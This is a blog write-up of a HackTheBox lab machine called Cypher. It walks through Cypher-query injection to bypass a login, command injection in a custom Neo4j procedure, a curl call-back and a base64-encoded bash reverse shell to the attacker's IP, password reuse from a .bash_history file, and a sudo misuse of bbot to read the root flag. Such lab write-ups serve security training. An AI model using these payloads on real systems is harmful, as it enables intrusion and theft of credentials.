Willem Medendorp's Blog

Willem Medendorp's Blog

Writeup: Cypher

📅
🏷️ [Machine,HackTheBox,Medium]

Cypher is a medium linux box.

Recon

Lets start with some initial recon

nmap -sV -sC cypher.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2025-05-01 15:14 CEST
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be68db828e6332455446b7087b3b52b0 (ECDSA)
|_  256 e55b34f5544393f87eb6694cacd63d23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds

We don't find many interesting surfaces just a webserver and ssh server.

When we visit the webserver we a greeted with a graph based company website. Which has a demo to requires login. Lets do some more enumeration on the webserver and see if we can find any interesting directories or files.

Enum

gobuster dir -u "http://cypher.htb" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2025/05/01 15:17:16 Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 4562]
/about                (Status: 200) [Size: 4986]
/login                (Status: 200) [Size: 3671]
/demo                 (Status: 307) [Size: 0] [--> /login]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]

Testing seems like a good place to start.

In testing we find custom-apoc-extension-1.0-SNAPSHOT.jar Does not directly provide any useful information. It appears to be a custom APOC extension for Neo4j, but the code does not directly seem to contain too many intersting things:

package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
  @Description("Returns the HTTP status code for the given URL as a string")
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;
    while ((line = errorReader.readLine()) != null)
      errorOutput.append(line).append("\n"); 
    String statusCode = inputReader.readLine();
    System.out.println("Status code: " + statusCode);
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
    if (!exited) {
      process.destroyForcibly();
      statusCode = "0";
      System.err.println("Process timed out after 10 seconds");
    } else {
      int exitCode = process.exitValue();
      if (exitCode != 0) {
        statusCode = "0";
        System.err.println("Process exited with code " + exitCode);
      } 
    } 
    if (errorOutput.length() > 0)
      System.err.println("Error output:\n" + errorOutput.toString()); 
    return Stream.of(new StringOutput(statusCode));
  }
  
  public static class StringOutput {
    public String statusCode;
    
    public StringOutput(String statusCode) {
      this.statusCode = statusCode;
    }
  }
}

However the url concatnation is not sanatized before being executed. So we might be able to get RCE from that.

Login

Lets try to login first to see what the app can do. If we insert a ' we get a nice error

Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"

It seem to do neo4j queries where we are able to inject something

neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.15.14/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 45: http://10.10.15.14/?version=5.24.1&name=Neo4j Kernel&edition=community ()}

The query seems to be vulnerable to injections.

Injectable query

The following query is being run.

"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash"

We somehow want this query to return a hash we control. For example we generate the sha1 of "password":"5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" and use it as the hash.

Exploit

As a username:

admin' or 1=1 return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash;//

This should return our hash as the hash for the user "admin". With this "username" and password:password we can login.

Foothold

Now we see a intresting graph query environment. There are different queries present, one however contains a functions that we have seen before:

MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode

Here it uses the custom.getUrlStatusCode function which we know can be used to execute arbitrary code.

Let's try to get a call back to our machine.

On our machine:

python -m http.server 80
MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode("http://10.10.15.14 ; curl http://10.10.15.14/$(id)") YIELD statusCode RETURN n.data, statusCode

We get a call back to our machine with the id of the user running the query.

Reverse Shell

If we input & the query breaks, so we need to encode our payload. We can use base64 to encode our payload and then decode it on the target machine. We can also use bash to execute our payload.

On our machine:

nc -lvp 9000

Revshell with base64 encoding

MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode("http://10.10.15.14/ ; echo 'L3Vzci9iaW4vc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQvOTAwMCAwPiYx+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNC85MDAwIDA+JjE=' | base64 -d | bash ") YIELD statusCode RETURN n.data, statusCode

And we pop a shell!

Lets upgrade it a bit with python

python3 -c 'import pty;pty.spawn("/bin/bash")'

We however are not the user yet but are neo4j.

Our home is in var/lib/neo4j

It contains a .bash_history file with the following commands:

neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

This password might be reused so lets try it with the main user. Which we can find in /etc/passwd. The user with uid 1000 is graphasm.

We can change user to graphasm with password: cU4btyib.20xtCMCXkBmerhK

su graphasm
password: cU4btyib.20xtCMCXkBmerhK

The password is correct!

We can get the user flag:

graphasm@cypher:~$ cat user.txt 
4f0321e2faf40fef1deda785583983c1

To make it easier we login via ssh now to get a nice interactive shell.

Root

Lets first check what sudo permissions we have.

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

Bbot is probably the way to go.

It is a python script located at /opt/pipx/venvs/bbot/bin/bbot

#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())
~

Bbot is a osint tools that can be used to gather information about a target. It has several modules that can be used to gather different types of information.

graphasm@cypher:/tmp$ bbot -h
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]]
            [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo]
            [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]]
            [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset]
            [--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]] [--json] [--brief]
            [--event-types EVENT_TYPES [EVENT_TYPES ...]]
            [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version]
            [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]

Bighuge BLS OSINT Tool

options:
  -h, --help            show this help message and exit

Target:
  -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
                        Targets to seed the scan

It has the options to read a traget file. So lets just read to root flag. And look into the debugging output to see the flag

sudo bbot -t /root/root.txt -o /tmp/reader/ -d

And we see the flag:

Target: {'seeds': ['24baf57137b77142eba47e80d0dd5aab'],

The flag is 24baf57137b77142eba47e80d0dd5aab.

We still don't have a root shell. But that is left as an exercise for the reader.

Copyright 2025
Willem Medendorp

made with
and